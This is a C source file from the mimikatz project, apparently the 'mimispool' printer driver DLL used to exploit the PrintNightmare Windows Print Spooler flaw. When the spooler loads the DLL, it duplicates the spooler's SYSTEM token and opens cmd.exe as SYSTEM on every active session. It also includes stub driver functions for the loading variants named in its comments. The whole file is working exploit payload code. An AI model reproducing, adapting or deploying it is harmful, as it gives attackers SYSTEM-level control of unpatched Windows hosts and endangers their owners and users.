mimikatz/mimispool/mimispool.c

/*	Benjamin DELPY `gentilkiwi`
	https://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "mimispool.h"

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
	UNREFERENCED_PARAMETER(hinstDLL);
	UNREFERENCED_PARAMETER(lpReserved);

	if (fdwReason == DLL_PROCESS_ATTACH)
	{
		RunProcessForAll(L"cmd.exe");
	}

	return TRUE;
}

// PrintNightMare 2.x - via config file and/or "real driver"
VOID APIENTRY DrvResetConfigCache()
{
	;
}

BOOL APIENTRY DrvQueryDriverInfo(DWORD dwMode, PVOID pBuffer, DWORD cbBuf, PDWORD pcbNeeded)
{
	BOOL status = FALSE;

	if (dwMode == DRVQUERY_USERMODE)
	{
		*pcbNeeded = sizeof(DWORD);
		if (pBuffer && (cbBuf >= sizeof(DWORD)))
		{
			status = TRUE;
			*(DWORD*)pBuffer = TRUE;
		}
		SetLastError(ERROR_INSUFFICIENT_BUFFER);
	}
	else
	{
		SetLastError(ERROR_INVALID_PARAMETER);
	}

	return status;
}

BOOL APIENTRY DrvEnableDriver(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded)
{
	BOOL status = FALSE;

	if ((iEngineVersion < 0x20000) || (cj < 0x10))
	{
		SetLastError(ERROR_BAD_DRIVER_LEVEL);
	}
	else
	{
		pded->iDriverVersion = 0x20000;
		pded->pdrvfn = NULL;
		pded->c = 0;
		status = TRUE;
	}

	return status;
}

VOID APIENTRY DrvDisableDriver()
{
	;
}

// PrintNightMare 3.x - via "real packaged driver" - NOT included (need WHQL signature - or pre-approved Authenticode)

// PrintNightMare 4.x - via CopyFiles
DWORD WINAPI GenerateCopyFilePaths(LPCWSTR pszPrinterName, LPCWSTR pszDirectory, LPBYTE pSplClientInfo, DWORD dwLevel, LPWSTR pszSourceDir, LPDWORD pcchSourceDirSize, LPWSTR pszTargetDir, LPDWORD pcchTargetDirSize, DWORD dwFlags)
{
	UNREFERENCED_PARAMETER(pszPrinterName);
	UNREFERENCED_PARAMETER(pszDirectory);
	UNREFERENCED_PARAMETER(pSplClientInfo);
	UNREFERENCED_PARAMETER(dwLevel);
	UNREFERENCED_PARAMETER(pszSourceDir);
	UNREFERENCED_PARAMETER(pcchSourceDirSize);
	UNREFERENCED_PARAMETER(pszTargetDir);
	UNREFERENCED_PARAMETER(pcchTargetDirSize);
	UNREFERENCED_PARAMETER(dwFlags);
	
	return ERROR_SUCCESS;
}

BOOL WINAPI SpoolerCopyFileEvent(LPWSTR pszPrinterName, LPWSTR pszKey, DWORD dwCopyFileEvent)
{
	UNREFERENCED_PARAMETER(pszPrinterName);
	UNREFERENCED_PARAMETER(pszKey);
	UNREFERENCED_PARAMETER(dwCopyFileEvent);
	
	return TRUE;
}

// Kiwi payload - SYSTEM on all active desktop(s)
BOOL RunProcessForAll(LPWSTR szProcess)
{
	BOOL status = FALSE;
	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	HANDLE hToken, hNewToken;
	DWORD i, count;
	LPVOID Environment;
	PSESSIONIDW sessions;

	si.cb = sizeof(si);
	si.lpDesktop = L"winsta0\\default";

	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
	{
		if (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hNewToken))
		{
			if (CreateEnvironmentBlock(&Environment, hNewToken, FALSE))
			{
				if (WinStationEnumerateW(SERVERHANDLE_CURRENT, &sessions, &count)) // cmd as SYSTEM for everyone
				{
					for (i = 0; i < count; i++)
					{
						if (sessions[i].State == State_Active)
						{
							if (SetTokenInformation(hNewToken, TokenSessionId, &sessions[i].SessionId, sizeof(sessions[i].SessionId)))
							{
								if (CreateProcessAsUser(hNewToken, szProcess, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, Environment, NULL, &si, &pi))
								{
									CloseHandle(pi.hThread);
									CloseHandle(pi.hProcess);
								}
							}
						}
					}
					if (sessions)
					{
						WinStationFreeMemory(sessions);
					}
				}
				DestroyEnvironmentBlock(Environment);
			}
			CloseHandle(hNewToken);
		}
		CloseHandle(hToken);
	}

	return status;
}